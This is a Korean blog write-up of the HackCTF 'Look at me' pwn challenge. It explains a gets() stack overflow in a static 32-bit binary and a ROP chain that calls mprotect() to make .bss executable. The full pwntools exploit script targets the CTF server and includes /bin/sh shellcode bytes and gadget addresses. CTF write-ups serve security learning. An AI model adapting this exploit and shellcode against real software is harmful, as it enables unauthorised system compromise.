HackCTF Look at me Write-Up

juuun0·2022년 1월 24일
1
post-thumbnail

Analyze Target

다운로드 받은 문제 파일을 실행하였을 때 특정 문자열을 출력 후 입력 대기상태로 진입하였습니다. 이후 문자열의 길이를 임의로 조절해가며 테스트하였을 경우 Segmentation fault가 발생하는 것을 확인할 수 있었습니다.

root@3218f793af99:~/hackctf/lookatme# ./lookatme
Hellooooooooooooooooooooo
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

우선 overflow가 발생하는 것을 확인하였으므로 gdb와 ghidra를 사용하여 분석을 시도하였으나 매우 많은 함수들이 반겨주었습니다.

풀이 과정 중 나중에 알게 된 사실이지만 static linking이 되어 있어 수많은 함수들이 display 되었다는 사실을 알 수 있었습니다.

lookatme: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=d2a1b10d006e4d6c4e84305383b4dc86481d87da, not stripped

프로그램의 동작은 크게 두 개의 함수로 이루어져 있었는데 main 함수에서 특정 문자열을 출력한 이후, look_at_me 함수를 호출하여 입력을 받은 후 프로그램이 종료되었습니다.

flag를 출력해주거나 혹은 shelld을 호출하는 함수가 있는지 확인하였으나 특별히 찾을 수 없었습니다.


Search Vulnerability

유용하게 사용될 수 있는 취약점으로는 overflow 취약점이 존재하였습니다. gets()를 이용하여 입력받는 과정에서 별도의 boundary 검사가 존재하지 않았고, 이를 통해 ret 주소를 변조할 수 있었습니다.

그 외에 취약한 함수가 존재하지 않았기에 shellcode를 이용한 풀이를 진행하려고 하였으나 buffer의 경우 ASLR이 적용되어 있으며 bss 영역에는 NX bit가 설정되어 있어 shellcode를 실행하는데 제한 사항이 있었습니다.

기존에 알고있는 풀이법들로는 마땅한 방법이 보이지 않았고 다른 Write-Up을 찾아본 결과 mprotect() 함수를 사용하여 특정 memory 영역의 권한을 변경할 수 있다는 것을 확인할 수 있었습니다.

여러 함수들을 이용하여 shell을 획득하기 위해 mprotect() 함수를 중심으로 한 ROP chain을 작성하였으며 shell을 획득할 수 있었습니다.


Exploit

#!/usr/bin/python3

from pwn import *

#p = process("./lookatme")
p = remote("ctf.j0n9hyun.xyz", 3017)
e = ELF("./lookatme")
#context.log_level = 'debug'

padding = b"A"*28
gets = e.symbols['gets']
mprotect = e.symbols['mprotect']
bss = e.bss()
shell = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

# Gadget

p3r = 0x80bacfe
p1r = 0x80bad00

# ROP Payload

rop = p32(gets)
rop += p32(p1r)
rop += p32(bss)
rop += p32(mprotect)
rop += p32(p3r)
rop += p32(bss-0xf80)
rop += p32(10000)
rop += p32(7)
rop += p32(bss)

payload = padding + rop 
p.sendlineafter("Hellooooooooooooooooooooo\n", payload)

p.sendline(shell)

log.info("gets: " + hex(gets))
log.info("mprotect: " + hex(mprotect))
log.info("bss: " + hex(bss))

p.interactive()
profile
To be

0개의 댓글